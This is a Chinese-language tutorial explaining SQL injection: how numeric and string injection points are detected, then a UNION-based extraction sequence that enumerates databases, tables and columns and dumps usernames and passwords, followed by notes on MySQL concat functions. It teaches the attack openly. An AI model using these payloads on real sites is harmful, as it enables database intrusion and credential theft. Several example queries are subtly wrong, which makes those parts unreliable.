SQL漏洞原理
SQL注入:指web应用程序对用户输入的数据合法性没有判断,导致攻击者可以构造不同的sql语句来实现对数据库的操作。(web应用程序对用户输入的数据没有进行过滤,或者过滤不严,就把sql语句带进数据库中进行查询)
SQL注入漏洞产生的条件:
①用户能控制数据的输入。
②原本需要执行的代码,拼接了用户的输入。
SQL注入介绍
SQL注入的危害
①绕过登录验证:使用万能密码登录网站后台。
②获取敏感数据:获取网站管理员账号密码等。
③文件系统操作:列目录、读取、写入文件等。
④注册表操作:读取、写入、删除注册表等。
⑤执行系统命令:远程执行命令。
SQL注入类型及分析
一般而言,SQL注入只分为数字型与字符型,因为严格来说,无论是POST注入,还是其他类型注入,都可以归纳为数字型注入或者字符型注入。
以下是一些常见的注入叫法:
POST注入:注入字段在POST数据中;
Cookie注入:注入字段在Cookie数据中;
延时注入:使用数据库延时特性注入;
搜索注入:注入处为搜索的地点;
base64注入:注入字符串需要经过base64加密;
判断该SQL注入是否为数字型:
假设后台SQL语句: SELECT * FROM TABLE WHERE id=1;
判断数字型漏洞的SQL注入点:
①先在输入框中输入一个单引号’
这样的SQL语句就会变为:
SELECT * FROM table WHERE id=1’ ,
不符合语法,所以该语句肯定会出错,导致脚本程序无法从数据库获取数据,从而使原来的页面出现异常。
②在输入框中输入and 1=1
SQL语句变为:
SELECT * FROM table WHERE id=1 and 1 = 1
语句正确,执行正常,返回的数据与原始请求无任何差异。
③在数据库中输入and 1=2
SQL语句变为:
SELECT * FROM table WHERE id=1 and 1 = 2
虽然语法正确,语句执行正常,但是逻辑错误,因为1= 2为永假,所以返回数据与原始请求有差异。
如果以上三个步骤全部满足,则程序就可能存在数字型SQL注入漏洞。
判断该SQL注入是否为字符型:
假设后台SQL语句:SELECT *FROM TABLE WHERE id=’admin’;
判断字符型漏洞的SQL注入点:
①还是先输入单引号admin’ 来测试
这样的SQL语句就会变为:
SELECT FROM table WHERE username =' admin'’
页面异常。
②输入:admin' and 1=1--
注意:在admin后有一个单引号 ’,用于字符串闭合,最后还有一个注释符 – (两条杠后面还有一个空格!-- 后面的内容被注释,即后面的内容将不起作用。
SQL语句变为:
SELECT * FROM table WHERE username =' admin' and 1 = 1 --
页面显示正确。
③输入: admin’and 1 = 2 --
SQL语句变为:
SELECT FROM table WHERE username =' admin' and 1=2 --
页面错误。
满足上面三个步骤则有可能存在字符型SQL注入。
SQL注入攻击流程
①判断是否存在SQL注入漏洞
数字型:
Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
字符型:
Url 地址中输入 http://xxx/abc.php?id= x’ and ‘1’=‘1 页面运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x’ and ‘1’='2 页面运行错误,则说明此 Sql 注入为字符型注入。
②判断网页是否存在字段
SELECT * FROM TABLE WHERE id=1?id=1 order by 2
,回车查看页面正常;
SELECT * FROM TABLE WHERE id=1?id=1 order by 3
,回车查看页面不正常;
说明有两个字段(列名)。
③判断回显点
?id=1 and 1=2 union select 1,2,3
页面会有相应提示。(union 联合语句,将前后两次的查询结果合并在一起)。
④获取信息
a. 查询当前数据库名:?id=1 and 1=2 union select 1,database()
b. 查询当前数据库版本:?id=1 and 1=2 union select 1,version()
c. 查询当前数据库表名:?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_name=database() limit 0,1
(limit 0,1表示从第一行起,显示一行的内容;注意:行号是从0开始排序)
d. 查询当前表的字段名:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_name=database() and table_name=数据库表名 limit 0,1
(改变limit中0的值,来显示所有字段名)
e. 查询字段的内容:?id=1 and 1=2 union select 1,username,password from 数据库表名 limit 0,1
order by 4 -- -
判断有多少列
union select 1,2,3 -- -
判断数据显示点
union select 1,user(),database() -- -
显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -
查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -
查看账号密码信息
关于Mysql数据库命令函数
1、concat()函数:将多个字符串连接成一个字符串
语法:concat(str1,str2,…)
举例1:select concat(id,name,score)from user;
得到结果:1小明60
举例2:select concat(id,’-’,name,’-’,score)from user;
得到结果:1-小明-60
2、concat_ws()函数:将多个字符串连接成一个字符串,但是可以一次性指定分隔符~
语法:concat_ws(separator, str1, str2, …) 第一个参数指定分隔符。需要注意的是分隔符不能为null,如果为null,则返回结果为null。
举例:select concat(‘,‘,id,name,score)from user;
得到结果:1,小明,60
3、group_concat()函数:将group by产生的同一个分组中的值连接起来,返回一个字符串结果
语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ‘分隔符’] )
举例:①select id,group_concat(name order by name desc) from aa group by id;
以id分组,把name字段的值打印在一行,逗号分隔,以name排倒序